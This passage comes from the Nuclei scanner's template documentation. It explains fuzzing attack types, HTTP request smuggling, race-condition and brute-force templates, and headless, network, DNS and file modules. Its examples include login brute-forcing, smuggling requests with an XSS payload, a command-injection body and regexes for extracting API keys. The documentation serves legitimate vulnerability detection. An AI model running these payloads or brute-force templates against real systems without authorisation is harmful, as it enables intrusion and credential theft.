Support	✓	✓	✓

batteringram

The battering ram attack type places the same payload value in all positions. It uses only one payload set. It loops through the payload set and replaces all positions with the payload value.

pitchfork

The pitchfork attack type uses one payload set for each position. It places the first payload in the first position, the second payload in the second position, and so on.

It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.

clusterbomb

The cluster bomb attack tries all different combinations of payloads. It still puts the first payload in the first position, and the second payload in the second position. But when it loops through the payload sets, it tries all combinations.

It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.

This attack type is useful for a brute-force attack. Load a list of commonly used usernames in the first payload set, and a list of commonly used passwords in the second payload set. The cluster bomb attack will then try all combinations.

More details here.

An example of the using `clusterbomb` attack to fuzz.

```
requests:
  - raw:
      - |
        POST /?file={{path}} HTTP/1.1
        User-Agent: {{header}}
        Host: {{Hostname}}

    payloads:
      path: helpers/wordlists/prams.txt
      header: helpers/wordlists/header.txt
    attack: clusterbomb # Defining HTTP fuzz attack type
```

Unsafe HTTP Requests

Nuclei supports rawhttp for complete request control and customization allowing **any kind of malformed requests** for issues like HTTP request smuggling, Host header injection, CRLF with malformed characters and more.

rawhttp library is disabled by default and can be enabled by including `unsafe: true` in the request block.

Here is an example of HTTP request smuggling detection template using `rawhttp`.

```
requests:
  - raw:
    - |+
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 150
        Transfer-Encoding: chunked

        0

        GET /post?postId=5 HTTP/1.1
        User-Agent: a"/><script>alert(1)</script>
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 5

        x=1
    - |+
        GET /post?postId=5 HTTP/1.1
        Host: {{Hostname}}

    unsafe: true # Enables rawhttp client
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>alert(1)</script>")'
```

ADVANCE REQUESTS

We’ve enriched nuclei to allow advanced scanning of web servers. Users can now use multiple options to tune HTTP request workflows.

Pipelining

HTTP Pipelining support has been added which allows multiple HTTP requests to be sent on the same connection inspired from http-desync-attacks-request-smuggling-reborn.

Before running HTTP pipelining based templates, make sure the running target supports HTTP Pipeline connection, otherwise nuclei engine fallbacks to standard HTTP request engine.

If you want to confirm the given domain or list of subdomains supports HTTP Pipelining, httpx has a flag `-pipeline` to do so.

An example configuring showing pipelining attributes of nuclei.

```yaml
    unsafe: true
    pipeline: true
    pipeline-concurrent-connections: 40
    pipeline-requests-per-connection: 25000
```

An example template demonstrating pipelining capabilities of nuclei has been provided below-

```yaml
id: pipeline-testing
info:
  name: pipeline testing
  author: pdteam
  severity: info

requests:
  - raw:
      - |+
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}

    attack: batteringram
    payloads:
      path: path_wordlist.txt

    unsafe: true
    pipeline: true
    pipeline-concurrent-connections: 40
    pipeline-requests-per-connection: 25000

    matchers:
      - type: status
        part: header
        status:
          - 200
```

Connection pooling

While the earlier versions of nuclei did not do connection pooling, users can now configure templates to either use HTTP connection pooling or not. This allows for faster scanning based on requirement.

To enable connection pooling in the template, `threads` attribute can be defined with respective number of threads you wanted to use in the payloads sections.

`Connection: Close` header can not be used in HTTP connection pooling template, otherwise engine will fail and fallback to standard HTTP requests with pooling.

An example template using HTTP connection pooling-

```yaml
id: fuzzing-example
info:
  name: Connection pooling example
  author: pdteam
  severity: info

requests:

  - raw:
      - |
        GET /protected HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('admin:§password§')}}

    attack: batteringram
    payloads:
      password: password.txt
    threads: 40

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "Unique string"
        part: body
```

Smuggling

HTTP Smuggling is a class of Web-Attacks recently made popular by Portswigger's Research into the topic. For an in-depth overview, please visit the article linked above.

In the open source space, detecting http smuggling is difficult particularly due to the requests for detection being malformed by nature. Nuclei is able to reliably detect HTTP Smuggling vulnerabilities utilising the rawhttp engine.

The most basic example of an HTTP Smuggling vulnerability is CL.TE Smuggling. An example template to detect a CE.TL HTTP Smuggling vulnerability is provided below using the `unsafe: true` attribute for rawhttp based requests.

```yaml
id: CL-TE-http-smuggling

info:
  name: HTTP request smuggling, basic CL.TE vulnerability
  author: pdteam
  severity: info
  reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

requests:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked

      0

      G
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked

      0

      G

    unsafe: true
    matchers:
      - type: word
        words:
          - 'Unrecognized method GPOST'
```

More examples are available in template-examples section for smuggling templates.

Race conditions

Race Conditions are another class of bugs not easily automated via traditional tooling. Burp Suite introduced a Gate mechanism to Turbo Intruder where all the bytes for all the requests are sent expect the last one at once which is only sent together for all requests synchronizing the send event.

We have implemented **Gate** mechanism in nuclei engine and allow them run via templates which makes the testing for this specific bug class simple and portable.

To enable race condition check within template, `race` attribute can be set to `true` and `race_count` defines the number of simultaneous request you want to initiate.

Below is an example template where the same request is repeated for 10 times using the gate logic.

```
id: race-condition-testing

info:
  name: Race condition testing
  author: pdteam
  severity: info

requests:
  - raw:
      - |
        POST /coupons HTTP/1.1
        Host: {{Hostname}}

        promo_code=20OFF

    race: true
    race_count: 10

    matchers:
      - type: status
        part: header
        status:
          - 200
```

You can simply replace the `POST` request with any suspected vulnerable request and change the `race_count` as per your need, and it's ready to run.

```
nuclei -t race.yaml -target https://api.target.com
```

Multi request race condition testing

For the scenario when multiple requests needs to be sent in order to exploit the race condition, we can make use of threads.

```
    threads: 5
    race: true
```

`threads` is a total number of request you wanted make with the template to perform race condition testing.

Below is an example template where multiple (5) unique request will be sent at the same time using the gate logic.

```
id: multi-request-race

info:
  name: Race condition testing with multiple requests
  author: pd-team
  severity: info

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
        id=1

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=2

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=3

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=4

      - |
        POST / HTTP/1.1
        Pragma: no-cache
        Host: {{Hostname}}
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        id=5

    threads: 5
    race: true
```

REQUESTS ANNOTATION

Request inline annotations allow performing per request properties/behavior override. They are very similar to python/java class annotations and must be put on the request just before the RFC line. Currently, only the following overrides are supported:

- `@Host:` which overrides the real target of the request (usually the host/ip provided as input). It supports syntax with ip/domain, port, and scheme, for example: `domain.tld`, `domain.tld:port`, `http://domain.tld:port`
- `@tls-sni:` which overrides the SNI Name of the TLS request (usually the hostname provided as input). It supports any literals, the speciale value `request.host` use the value of the `Host` header.
- `@timeout:` which overrides the timeout for the request to a custom duration. It supports durations formatted as string. If no duration is specified, the default Timeout flag value is used.

The following example shows the annotations within a request:

```
- |
  @Host: https://projectdiscovery.io:443
  POST / HTTP/1.1
  Pragma: no-cache
  Host: {{Hostname}}
  Cache-Control: no-cache, no-transform
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
```

This is particularly useful, for example, in the case of templates with multiple requests, where one request after the initial one needs to be performed to a specific host (for example, to check an API validity):

```
requests:
  - raw:
      # this request will be sent to {{Hostname}} to get the token
      - |
        GET /getkey HTTP/1.1
        Host: {{Hostname}}

      # This request will be sent instead to https://api.target.com:443 to verify the token validity
      - |
        @Host: https://api.target.com:443
        GET /api/key={{token}} HTTP/1.1
        Host: api.target.com:443

    extractors:
      - type: regex
        name: token
        part: body
        regex:
          # random extractor of strings between prefix and suffix
          - 'prefix(.*)suffix'

    matchers:
      - type: word
        part: body
        words:
          - valid token
```

Example of a custom `timeout` annotations -

```
- |
  @timeout: 25s
  POST /conf_mail.php HTTP/1.1
  Host: {{Hostname}}
  Content-Type: application/x-www-form-urlencoded

  mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
```

2.2.2 HTTP Fuzzing

HTTP FUZZING

Nuclei supports fuzzing of HTTP requests based on rules defined in the `fuzzing` section of the HTTP request. This allows creating templates for generic Web Application vulnerabilities like SQLi, SSRF, CMDi, etc without any information of the target like a classic web fuzzer.

Part

Part specifies what part of the request should be fuzzed based on the specified rules. Available options for this parameter are -

1. **query** (`default`) - fuzz query parameters for URL

```
fuzzing:
  - part: query # fuzz parameters in URL query
```

Support will be added for `path` , `header` , `body` , `cookie` , etc parts soon.

Type

Type specifies the type of replacement to perform for the fuzzing rule value. Available options for this parameter are -

1. **replace** (`default`) - replace the value with payload
2. **prefix** - prefix the value with payload
3. **postfix** - postfix the value with payload
4. **infix** - infix the value with payload (place in between)

```
fuzzing:
  - part: query
    type: postfix # Fuzz query and postfix payload to params
```

Mode

Mode specifies the mode in which to perform the replacements. Available modes are -

1. **multiple** (`default`) - replace all values at once
2. **single** - replace one value at a time

```
fuzzing:
  - part: query
    type: postfix
    mode: multiple # Fuzz query postfixing payloads to all parameters at once
```

> **Note**: default values are set/used when other options are not defined.

Filters

Multiple filters are supported to restrict the scope of fuzzing to only interesting parameter keys and values. Nuclei HTTP Fuzzing engine converts request parts into Keys and Values which then can be filtered by their related options.

The following filter fields are supported -

1. **keys** - list of parameter names to fuzz (exact match)
2. **keys-regex** - list of parameter regex to fuzz
3. **values** - list of value regex to fuzz

These filters can be used in combination to run highly targeted fuzzing based on the parameter input. A few examples of such filtering are provided below.

```
# fuzzing command injection based on parameter name value
fuzzing:
  - part: query
    type: replace
    mode: single
    keys:
      - "daemon"
      - "upload"
      - "dir"
      - "execute"
      - "download"
      - "log"
      - "ip"
      - "cli"
      - "cmd"
```

```
# fuzzing openredirects based on parameter name regex
fuzzing:
  - part: query
    type: replace
    mode: single
    keys-regex:
      - "redirect.*"
```

```
# fuzzing ssrf based on parameter value regex
fuzzing:
  - part: query
    type: replace
    mode: single
    values:
      - "https?://.*"
```

Fuzz

Fuzz specifies the values to replace with a `type` for a parameter. It supports payloads, DSL functions, etc and allows users to fully utilize the existing nuclei feature-set for fuzzing purposes.

```
# fuzz section for xss fuzzing with stop-at-first-match
payloads:
  reflection:
    - "6842'\"><9967"
stop-at-first-match: true
fuzzing:
  - part: query
    type: postfix
    mode: single
    fuzz:
      - "{{reflection}}"
```

```
# using interactsh-url placeholder for oob testing
payloads:
  redirect:
    - "{{interactsh-url}}"
fuzzing:
  - part: query
    type: replace
    mode: single
    keys:
```

```yaml
        - "dest"
        - "redirect"
        - "uri"
      fuzz:
        - "https://{{redirect}}"
```

```yaml
# using template-level variables for SSTI testing
variables:
  first: "{{rand_int(10000, 99999)}}"
  second: "{{rand_int(10000, 99999)}}"
  result: "{{to_number(first)*to_number(second)}}"

requests:
    ...
    payloads:
      reflection:
        - '{{concat("{{", "§first§*§second§", "}}")}}'
    fuzzing:
      - part: query
        type: postfix
        mode: multiple
        fuzz:
          - "{{reflection}}"
```

Example Fuzzing template

An example sample template for fuzzing XSS vulnerabilities is provided below.

```yaml
id: fuzz-reflection-xss

info:
  name: Basic Reflection Potential XSS Detection
  author: pdteam
  severity: low

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    payloads:
      reflection:
        - "6842'\"><9967"
    stop-at-first-match: true
    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{reflection}}"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{reflection}}"
      - type: word
        part: header
        words:
          - "text/html"
```

More complete examples are provided here

2.3 Headless

Headless Requests

Nuclei supports automation of a browser with simple DSL. Headless browser engine can be fully customized and user actions can be scripted allowing complete control over the browser. This allows for a variety of unique and custom workflows.

```yaml
# Start the requests for the template right here
headless:
```

ACTIONS

Action is a single piece of Task for the Nuclei Headless Engine. Each action manipulates the browser state in some way, and finally leads to the state that we are interested in capturing.

Nuclei supports a variety of actions. A list of these Actions along with their arguments are given below -

NAVIGATE

Navigate visits a given URL. url field supports variables like `{{BaseURL}}`, `{{Hostname}}` to customize the request fully.

```yaml
action: navigate
args:
  url: "{{BaseURL}}
```

script

Script runs a JS code on the current browser page. At the simplest level, you can just provide a `code` argument with the JS snippet you want to execute, and it will be run on the page.

```yaml
action: script
args:
  code: alert(document.domain)
```

Suppose you want to run a matcher on a JS object to inspect its value. This type of data extraction use cases are also supported with nuclei headless. As an example, let's say the application sets an object called `window.random-object` with a value, and you want to match on that value.

```yaml
- action: script
  args:
    code: window.random-object
  name: script-name
...
matchers:
  - type: word
    part: script-name
    words:
      - "some-value"
```

Nuclei supports running some custom Javascript, before the page load with the `hook` argument. This will always run the provided Javascript, before any of the pages load.

The example provided hooks `window.alert` so that the alerts that are generated by the application do not stop the crawler.

```yaml
- action: script
  args:
    code: (function() { window.alert=function(){} })()
    hook: true
```

This is one use case, there are many more use cases of function hooking such as DOM XSS Detection and Javascript-Injection based testing techniques. Further examples are provided on examples page.

click

Click simulates clicking with the Left-Mouse button on an element specified by a selector.

```yaml
action: click
args:
  by: xpath
  xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
```

Nuclei supports a variety of selector types, including but not limited to XPath, Regex, CSS, etc. For more information about selectors, see here.

rightclick

RightClick simulates clicking with the Right-Mouse button on an element specified by a selector.

```yaml
action: rightclick
args:
  by: xpath
  xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
```

text

Text simulates typing something into an input with Keyboard. Selectors can be used to specify the element to type in.

```yaml
action: text
args:
  by: xpath
  xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
  value: username
```

screenshot

Screenshots takes the screenshots of a page and writes it to disk. It supports both full page and normal screenshots.

```yaml
action: screenshot
args:
  to: /root/test/screenshot-web
```

If you require full page screenshot, it can be achieved with `fullpage: true` option in the args.

```yaml
action: screenshot
args:
  to: /root/test/screenshot-web
  fullpage: true
```

time

Time enters values into time inputs on pages in RFC3339 format.

```yaml
action: time
args:
  by: xpath
  xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
  value: 2006-01-02T15:04:05Z07:00
```

select

Select performs selection on an HTML Input by a selector.

```yaml
action: select
args:
  by: xpath
  xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
  selected: true
  value: option[value=two]
  selector: regex
```

files

Files handles a file upload input on the webpage.

```yaml
action: files
args:
  by: xpath
  xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
  value: /root/test/payload.txt
```

waitload

WaitLoads waits for a page to finish loading and get in Idle state.

```yaml
action: waitload
```

Nuclei's `waitload` action waits for DOM to load, and window.onload event to be received after which we wait for the page to become idle for 1 seconds.

getresource

GetResource returns the src attribute for an element.

```yaml
action: getresource
name: extracted-value-src
args:
  by: xpath
  xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
```

extract

Extract extracts either the Text for an HTML Node, or an attribute as specified by the user.

The below code will extract the Text for the given XPath Selector Element, which can then also be matched upon by name `extracted-value` with matchers and extractors.

```yaml
action: extract
name: extracted-value
args:
  by: xpath
  xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
```

An attribute can also be extracted for an element. For example -

```
action: extract
name: extracted-value-href
args:
  by: xpath
  xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
  target: attribute
  attribute: href
```

setmethod

SetMethod overrides the method for the request.

```
action: setmethod
args:
  part: request
  method: DELETE
```

addheader

AddHeader adds a header to the requests / responses. This does not overwrite any pre-existing headers.

```
action: addheader
args:
  part: response # can be request too
  key: Content-Security-Policy
  value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
```

setheader

SetHeader sets a header in the requests / responses.

```
action: setheader
args:
  part: response # can be request too
  key: Content-Security-Policy
  value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
```

deleteheader

DeleteHeader deletes a header from requests / responses.

```
action: deleteheader
args:
  part: response # can be request too
  key: Content-Security-Policy
```

setbody

SetBody sets the body for a request / response.

```
action: setbody
args:
  part: response # can be request too
  body: '{"success":"ok"}'
```

waitevent

WaitEvent waits for an event to trigger on the page.

```yaml
action: waitevent
args:
  event: 'Page.loadEventFired'
```

The list of events supported are listed here.

keyboard

Keyboard simulates a single key-press on the keyboard.

```yaml
action: keyboard
args:
  keys: '\r' # this simulates pressing enter key on keyboard
```

`keys` argument accepts key-codes.

debug

Debug adds a delay of 5 seconds between each headless action and also shows a trace of all the headless events occurring in the browser.

> Note: Only use this for debugging purposes, don't use this in production templates.

```yaml
action: debug
```

sleep

Sleeps makes the browser wait for a specified duration in seconds. This is also useful for debugging purposes.

```yaml
action: sleep
args:
  duration: 5
```

SELECTORS

Selectors are how nuclei headless engine identifies what element to execute an action on. Nuclei supports getting selectors by including a variety of options -

Selector	Description
`r` / `regex`	Element matches CSS Selector and Text Matches Regex
`x` / `xpath`	Element matches XPath selector
`js`	Return elements from a JS function
`search`	Search for a query (can be text, XPATH, CSS)
`selector` (default)	Element matches CSS Selector

MATCHERS / EXTRACTOR PARTS

Valid `part` values supported by **Headless** protocol for Matchers / Extractor are -

Value	Description
request	Headless Request
`<out_names>`	Action names with stored values
raw / body / data	Final DOM response from browser

EXAMPLE HEADLESS TEMPLATE

An example headless template to automatically login into DVWA is provided below -

```yaml
id: dvwa-headless-automatic-login
info:
  name: DVWA Headless Automatic Login
  author: pdteam
  severity: high
headless:
  - steps:
      - args:
          url: "{{BaseURL}}/login.php"
        action: navigate
      - action: waitload
      - args:
          by: xpath
          xpath: /html/body/div/div[2]/form/fieldset/input
        action: click
      - action: waitload
      - args:
          by: xpath
          value: admin
          xpath: /html/body/div/div[2]/form/fieldset/input
        action: text
      - args:
          by: xpath
          xpath: /html/body/div/div[2]/form/fieldset/input[2]
        action: click
      - action: waitload
      - args:
          by: xpath
          value: password
          xpath: /html/body/div/div[2]/form/fieldset/input[2]
        action: text
      - args:
          by: xpath
          xpath: /html/body/div/div[2]/form/fieldset/p/input
        action: click
      - action: waitload
    matchers:
      - part: resp
        type: word
        words:
          - "You have logged in as"
```

More complete examples are provided here

2.4 Network

Network Requests

Nuclei can act as an automatable **Netcat**, allowing users to send bytes across the wire and receive them, while providing matching and extracting capabilities on the response.

Network Requests start with a **network** block which specifies the start of the requests for the template.

```yaml
# Start the requests for the template right here
network:
```

INPUTS

First thing in the request is **inputs**. Inputs are the data that will be sent to the server, and optionally any data to read from the server.

At it's most simple, just specify a string, and it will be sent across the network socket.

```yaml
# inputs is the list of inputs to send to the server
inputs:
  - data: "TEST\r\n"
```

You can also send hex encoded text that will be first decoded and the raw bytes will be sent to the server.

```yaml
inputs:
  - data: "50494e47"
    type: hex
  - data: "\r\n"
```

Helper function expressions can also be defined in input and will be first evaluated and then sent to the server. The last Hex Encoded example can be sent with helper functions this way -

```yaml
inputs:
  - data: 'hex_decode("50494e47")\r\n'
```

One last thing that can be done with inputs is reading data from the socket. Specifying `read-size` with a non-zero value will do the trick. You can also assign the read data some name, so matching can be done on that part.

```yaml
inputs:
  - read-size: 8
```

Example with reading a number of bytes, and only matching on them.

```yaml
inputs:
  - read-size: 8
    name: prefix
...
matchers:
  - type: word
    part: prefix
    words:
      - "CAFEBABE"
```

Multiple steps can be chained together in sequence to do network reading / writing.

HOST

The next part of the requests is the **host** to connect to. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.

1. **Hostname** - variable is replaced by the hostname provided on command line.

An example name value:

```yaml
host:
  - "{{Hostname}}"
```

Nuclei can also do TLS connection to the target server. Just add `tls://` as prefix before the **Hostname** and you're good to go.

```yaml
host:
  - "tls://{{Hostname}}"
```

If a port is specified in the host, the user supplied port is ignored and the template port takes precedence.

MATCHERS / EXTRACTOR PARTS

Valid `part` values supported by **Network** protocol for Matchers / Extractor are -

Value	Description
request	Network Request
data	Final Data Read From Network Socket
raw / body / all	All Data received from Socket

EXAMPLE NETWORK TEMPLATE

The final example template file for a `hex` encoded input to detect MongoDB running on servers with working matchers is provided below.

```yaml
id: input-expressions-mongodb-detect

info:
  name: Input Expression MongoDB Detection
  author: pd-team
  severity: info
  reference: https://github.com/orleven/Tentacle

network:
  - inputs:
      - data:
"{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
    host:
      - "{{Hostname}}"
    read-size: 2048
    matchers:
      - type: word
        words:
          - "logicalSessionTimeout"
          - "localTime"
```

More complete examples are provided here

2.5 DNS

DNS Requests

DNS protocol can be modelled in nuclei with ease. Fully Customizable DNS requests can be sent by nuclei to nameservers and matching/extracting can be performed on their response.

DNS Requests start with a **dns** block which specifies the start of the requests for the template.

```
# Start the requests for the template right here
dns:
```

TYPE

First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.

```
# type is the type for the dns request
type: A
```

NAME

The next part of the requests is the DNS **name** to resolve. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.

1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.

An example name value:

```
name: {{FQDN}}.com
# This value will be replaced on execution with the FQDN.
# If FQDN is https://this.is.an.example then the
# name will get replaced to the following: this.is.an.example.com
```

As of now the tool supports only one name per request.

CLASS

Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.

```
# method is the class for the dns request
class: inet
```

RECURSION

Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.

```
# Recursion is a boolean determining if the request is recursive
recursion: true
```

RETRIES

Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.

```yaml
# Retries is a number of retries before giving up on dns resolution
retries: 3
```

MATCHERS / EXTRACTOR PARTS

Valid `part` values supported by **DNS** protocol for Matchers / Extractor are -

Value	Description
request	DNS Request
rcode	DNS Rcode
question	DNS Question Message
extra	DNS Message Extra Field
answer	DNS Message Answer Field
ns	DNS Message Authority Field
raw / all / body	Raw DNS Message

EXAMPLE DNS TEMPLATE

The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:

```yaml
id: dummy-cname-a

info:
  name: Dummy A dns request
  author: mzack9999
  severity: none
  description: Checks if CNAME and A record is returned.

dns:
  - name: "{{FQDN}}"
    type: A
    class: inet
    recursion: true
    retries: 3
    matchers:
      - type: word
        words:
          # The response must contain a CNAME record
          - "IN\tCNAME"
          # and also at least 1 A record
          - "IN\tA"
        condition: and
```

More complete examples are provided here

2.6 File

File Requests

Nuclei allows modelling templates that can match/extract on filesystem too.

```yaml
# Start of file template block
file:
```

EXTENSIONS

To match on all extensions (except the ones in default denylist), use the following -

```yaml
extensions:
  - all
```

You can also provide a list of custom extensions that should be matched upon.

```yaml
extensions:
  - py
  - go
```

A denylist of extensions can also be provided. Files with these extensions will not be processed by nuclei.

```yaml
extensions:
  - all

denylist:
  - go
  - py
  - txt
```

By default, certain extensions are excluded in nuclei file module. A list of these is provided below-

```
3g2,3gp,
7z,apk,arj,avi,axd,bmp,css,csv,deb,dll,doc,drv,eot,exe,flv,gif,gifv,gz,h264,ico,iso,jar,jpeg,jpg,lock,m4a,m4v,map,mkv,mov,mp3,mp4,mpeg,mpg
```

MORE OPTIONS

max-size parameter can be provided which limits the maximum size (in bytes) of files read by nuclei engine.

As default the `max-size` value is 5 MB (5242880), Files larger than the `max-size` will not be processed.

no-recursive option disables recursive walking of directories / globs while input is being processed for file module of nuclei.

MATCHERS / EXTRACTOR

File protocol supports 2 types of Matchers -

Matcher Type	Part Matched	Extractors Type	Part Matched
word	all	word	all
regex	all	regex	all

EXAMPLE FILE TEMPLATE

The final example template file for a Private Key detection is provided below.

```
id: google-api-key

info:
  name: Google API Key
  author: pdteam
  severity: info

file:
  - extensions:
      - all
      - txt

    extractors:
      - type: regex
        name: google-api-key
        regex:
          - "AIza[0-9A-Za-z\\-_]{35}"
```

```
# Running file template on http-response/ directory
nuclei -t file.yaml -target http-response/

# Running file template on output.txt
nuclei -t file.yaml -target output.txt
```

More complete examples are provided here

2.7 Operators

2.7.1 Matchers

MATCHERS

Matchers allow different type of flexible comparisons on protocol responses. They are what makes nuclei so powerful, checks are very simple to write and multiple checks can be added as per need for very effective scanning.

Types

Multiple matchers can be specified in a request. There are basically 6 types of matchers:

Matcher Type	Part Matched
status	Integer Comparisons of Part
size	Content Length of Part
word	Part for a protocol
regex	Part for a protocol
binary	Part for a protocol
dsl	Part for a protocol

To match status codes for responses, you can use the following syntax.

```yaml
matchers:
  # Match the status codes
  - type: status
    # Some status codes we want to match
    status:
      - 200
      - 302
```

To match binary for hexadecimal responses, you can use the following syntax.

```yaml
matchers:
  - type: binary
    binary:
      - "504B0304" # zip archive
      - "526172211A070100" # RAR archive version 5.0
      - "FD377A585A0000" # xz tar.xz archive
    condition: or
    part: body
```

Matchers also support hex encoded data which will be decoded and matched.

```yaml
matchers:
  - type: word
    encoding: hex
    words:
      - "50494e47"
    part: body
```

Word and **Regex** matchers can be further configured depending on the needs of the users.

Complex matchers of type **dsl** allows building more elaborate expressions with helper functions. These function allow access to Protocol Response which contains variety of data based on each protocol. See protocol specific documentation to learn about different returned results.

```
matchers:
  - type: dsl
    dsl:
      - "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
      - "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
```

Every part of a Protocol response can be matched with DSL matcher. Some examples -

Response Part	Description	Example
content_length	Content-Length Header	content_length >= 1024
status_code	Response Status Code	status_code==200
all_headers	Unique string containing all headers	len(all_headers)
body	Body as string	len(body)
header_name	Lowercase header name with `-` converted to `_`	len(user_agent)
raw	Headers + Response	len(raw)

Conditions

Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.

1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.

Matched Parts

Multiple parts of the response can also be matched for the request, default matched part is `body` if not defined.

Example matchers for HTTP response body using the AND condition:

```
matchers:
  # Match the body word
  - type: word
   # Some words we want to match
   words:
     - "[core]"
     - "[config]"
   # Both words must be found in the response body
   condition: and
   #  We want to match request body (default)
   part: body
```

Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.

Negative Matchers

All types of matchers also support negative conditions, mostly useful when you look for a match with an exclusions. This can be used by adding `negative: true` in the **matchers** block.

Here is an example syntax using `negative` condition, this will return all the URLs not having `PHPSESSID` in the response header.

```
matchers:
  - type: word
    words:
      - "PHPSESSID"
    part: header
    negative: true
```

Multiple Matchers

Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.

Here is an example of syntax for multiple matchers.

```
matchers:
  - type: word
    name: php
    words:
      - "X-Powered-By: PHP"
      - "PHPSESSID"
    part: header
  - type: word
    name: node
    words:
      - "Server: NodeJS"
      - "X-Powered-By: nodejs"
    condition: or
    part: header
  - type: word
    name: python
    words:
      - "Python/2."
      - "Python/3."
    condition: or
    part: header
```

Matchers Condition

While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.

```
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: or
        part: header

      - type: word
        words:
          - "PHP"
        part: body
```

2.7.2 Extractors

EXTRACTORS

Extractors can be used to extract and display in results a match from the response returned by a module.

Types

Multiple extractors can be specified in a request. As of now we support five type of extractors.

1. **regex** - Extract data from response based on a Regular Expression.
2. **kval** - Extract `key: value` / `key=value` formatted data from Response Header/Cookie
3. **json** - Extract data from JSON based response in JQ like syntax.
4. **xpath** - Extract xpath based data from HTML Response
5. **dsl** - Extract data from the response based on a DSL expressions.

Regex Extractor

Example extractor for HTTP Response body using **regex** -

```
extractors:
  - type: regex # type of the extractor
    part: body  # part of the response (header,body,all)
    regex:
      - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"  # regex to use for extraction.
```

Kval Extractor

A **kval** extractor example to extract `content-type` header from HTTP Response.

```
extractors:
  - type: kval # type of the extractor
    kval:
      - content_type # header/cookie value to extract from response
```

Note that `content-type` has been replaced with `content_type` because **kval** extractor does not accept dash (`-`) as input and must be substituted with underscore (`_`).

JSON Extractor

A **json** extractor example to extract value of `id` object from JSON block.

```
